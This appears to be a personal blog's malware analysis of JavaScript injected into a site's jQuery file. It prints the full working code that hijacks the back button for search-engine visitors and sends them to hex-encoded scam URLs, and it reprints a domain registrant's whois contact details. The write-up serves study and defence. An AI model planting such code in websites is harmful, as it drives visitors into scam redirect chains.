lil devil

manatee.sh

lil slug
good news, everyonegood news, everyone

Malware Deep Dive: Episode 1

Who doesn't love a compromised website?

Intro§

I recently encountered an issue on a website (discovered by a co-worker) in which visiting the website via a search engine and clicking back in the browser would cause the user to get redirected to a dodgy site.

Fun, right?

the original, un-minified§

This was finally located within an existing JavaScript file that was loaded on the website (there were a lot). It was in jquery-2.1.1.min.js, located at the bottom as always and below is the code, unminified.


(function() {
    var rref5756 = document.referrer,
        rt5756 = GetCookie5756('tmr_vid_5756'),
        ExpDate = new Date(),
        p5756 = new Array('google', 'go.mail', 'nova.rambler', 'yandex', 'ya.ru', 'bing.', 'ukr.net', 'yahoo.', 'aolsearch', 'duckduckgo', 'baidu', 'ecosia', 'sogou'),
        b5756 = false,
        u5756 = fnBD5756();

    function his5756() {
        (function(w, l, d) {
            var cloc = l.pathname + l.search;
            history.replaceState(null, d.title, l.pathname + "#!/back");
            history.pushState(null, d.title, l.pathname);
            w.addEventListener("popstate", function() {
                if (l.hash === "#!/back") {
                    history.replaceState(null, d.title, l.pathname);
                    setTimeout(function() {
                        l.replace(u5756)
                    }, 0)
                }
            }, false)
        }(window, location, document))
    }
    rref5756 = rref5756.toLowerCase();
    for (i in p5756) {
        if (rref5756.indexOf(p5756[i]) > 0) {
            b5756 = true;
            break;
        }
    }
    if (b5756) {
        if (rt5756 == null) {
            his5756();
        }
    }
    rref5756 = unescape(rref5756);
    ExpDate.setTime(ExpDate.getTime() + (24 * 60 * 60 * 1000 * 7));
    SetCookie5756('tmr_vid_5756', '1', ExpDate, "/");

    function fnBD5756() {
        let uA5756 = navigator.userAgent;
        let bN5756;
        if (uA5756.match(/chrome|chromium|crios|opr\//i)) {
            bN5756 = h2b('68747470733a2f2f696d67302e6c697665696e7465726e65742e72752f696d616765732f6174746163682f642f342f3136302f3738372f3136303738373334365f696e2e68746d6c');
        } else {
            bN5756 = h2b('68747470733a2f2f696d67302e6c697665696e7465726e65742e72752f696d616765732f6174746163682f642f342f3136302f3738372f3136303738373432385f68682e68746d6c');
        }
        return bN5756;
    }

    function h2b(hex) {
        let bytes = [],
            str;
        for (var i = 0; i < hex.length - 1; i += 2) bytes.push(parseInt(hex.substr(i, 2), 16));
        return String.fromCharCode.apply(String, bytes);
    }

    function GetCookie5756Val(offset) {
        var endstr = document.cookie.indexOf(";", offset);
        if (endstr == -1) endstr = document.cookie.length;
        return unescape(document.cookie.substring(offset, endstr));
    }

    function GetCookie5756(name) {
        var arg = name + "=";
        var alen = arg.length;
        var clen = document.cookie.length;
        var i = 0;
        while (i < clen) {
            var j = i + alen;
            if (document.cookie.substring(i, j) == arg) return GetCookie5756Val(j);
            i = document.cookie.indexOf(" ", i) + 1;
            if (i == 0) break;
        }
        return null;
    }

    function SetCookie5756(name, value) {
        var argv = SetCookie5756.arguments;
        var argc = SetCookie5756.arguments.length;
        var expires = (argc > 2) ? argv[2] : null;
        var path = (argc > 3) ? argv[3] : null;
        var domain = (argc > 4) ? argv[4] : null;
        var secure = (argc > 5) ? argv[5] : false;
        document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");
    }
})();
                

cleaned up with comments§

It was probably better off remaining minified with my comments.

As you'll see, it's pretty basic

  1. Check Referrer
    • is referrer from a search engine?
      • if so, trigger the history state change and set a cookie
    • else
      • do nothing


(function() {
    // set some default vars
    var winReferrer = document.referrer,
        getCookie = GetCookie5756('tmr_vid_5756'),
        ExpDate = new Date(),
        searchEngines = new Array('google', 'go.mail', 'nova.rambler', 'yandex', 'ya.ru', 'bing.', 'ukr.net', 'yahoo.', 'aolsearch', 'duckduckgo', 'baidu', 'ecosia', 'sogou'),
        reffedFromASearchEngine = false,
        redirectToURL = redirectToURLFunc();

    // once called, this function changes the history state
    // aka, inserts a dodgy history entry
    function changeBackState() {
        (function(w, l, d) {
            var cloc = l.pathname + l.search;
            history.replaceState(null, d.title, l.pathname + "#!/back");
            history.pushState(null, d.title, l.pathname);
            w.addEventListener("popstate", function() {
                if (l.hash === "#!/back") {
                    history.replaceState(null, d.title, l.pathname);
                    setTimeout(function() {
                        l.replace(redirectToURL)
                    }, 0)
                }
            }, false)
        }(window, location, document))
    }

    // if the user was referred from a search engine, set a var to true
    winReferrer = winReferrer.toLowerCase();
    for (i in searchEngines) {
        if (winReferrer.indexOf(searchEngines[i]) > 0) {
            reffedFromASearchEngine = true;
            break;
        }
    }

    // if the user was referred from a search engine and doesn't have the cookie, change the history state
    if (reffedFromASearchEngine) {
        if (getCookie == null) {
            changeBackState();
        }
    }

    // set the cookie that lasts 1 week
    winReferrer = unescape(winReferrer);
    ExpDate.setTime(ExpDate.getTime() + (24 * 60 * 60 * 1000 * 7));
    SetCookie5756('tmr_vid_5756', '1', ExpDate, "/");

    function redirectToURLFunc() {
        let userAgent = navigator.userAgent;
        let url;

        // if the user agent is one of the below, go to 1 url, else go to another
        if (userAgent.match(/chrome|chromium|crios|opr\//i)) {
            // decoded url is https://img0.liveinternet.ru/images/attach/d/4/160/787/160787346_in.html
            url = h2b('68747470733a2f2f696d67302e6c697665696e7465726e65742e72752f696d616765732f6174746163682f642f342f3136302f3738372f3136303738373334365f696e2e68746d6c');
        } else {
            // decoded url is https://img0.liveinternet.ru/images/attach/d/4/160/787/160787428_hh.html
            url = h2b('68747470733a2f2f696d67302e6c697665696e7465726e65742e72752f696d616765732f6174746163682f642f342f3136302f3738372f3136303738373432385f68682e68746d6c');
        }
        return url;
    }

    // hex to binary function
    function h2b(hex) {
        let bytes = [],
            str;
        for (var i = 0; i < hex.length - 1; i += 2) bytes.push(parseInt(hex.substr(i, 2), 16));
        return String.fromCharCode.apply(String, bytes);
    }

    function GetCookie5756Val(offset) {
        var endstr = document.cookie.indexOf(";", offset);
        if (endstr == -1) endstr = document.cookie.length;
        return unescape(document.cookie.substring(offset, endstr));
    }

    function GetCookie5756(name) {
        var arg = name + "=";
        var alen = arg.length;
        var clen = document.cookie.length;
        var i = 0;
        while (i < clen) {
            var j = i + alen;
            if (document.cookie.substring(i, j) == arg) return GetCookie5756Val(j);
            i = document.cookie.indexOf(" ", i) + 1;
            if (i == 0) break;
        }
        return null;
    }

    function SetCookie5756(name, value) {
        var argv = SetCookie5756.arguments;
        var argc = SetCookie5756.arguments.length;
        var expires = (argc > 2) ? argv[2] : null;
        var path = (argc > 3) ? argv[3] : null;
        var domain = (argc > 4) ? argv[4] : null;
        var secure = (argc > 5) ? argv[5] : false;
        document.cookie = name + "=" + escape(value) + ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : "");
    }
})();
                

Where does it go?§

The two URLs it redirects to

  • https://img0.liveinternet[.]ru/images/attach/d/4/160/787/160787346_in.html
    • Redirects here if user-agent contains chrome|chromium|crios|opr
  • https://img0.liveinternet[.]ru/images/attach/d/4/160/787/160787428_hh.html
    • Redirects here if user-agent doesn't contain the above

Disguise themselves as a GIF, so clearly liveinternet[.]ru doesn't properly check uploads.

160787428_hh.html has some JavaScript within, appearing to request the users Geo IP but the website, traffic-redirect[.]site, is a dud but still registered, domain whois.

Registrant Contact Information:

  
NameYuliya Smirnova
OrganizationGeekol
AddressUl Nahimova dom 44
CityAstrahan
State / ProvinceAstrahanskaya
Postal Code414004
CountryRU
Phone+7.9066788546
Email[email protected]

In the end, you end up getting redirected to yet another website, requesting you to "allow" fake browser notifications.

Clicking allow or block, you yet again get redirect to another fake browser notification page and you keep going.

It keeps going and going and going and going...

After about 7 redirects and clicking "Allow" on each one (some even used speech synthesis!) I won an iPhone 14 Pro.

Summary§

Don't get hacked.

Also don't blindly click allow and fall for scams, ofc.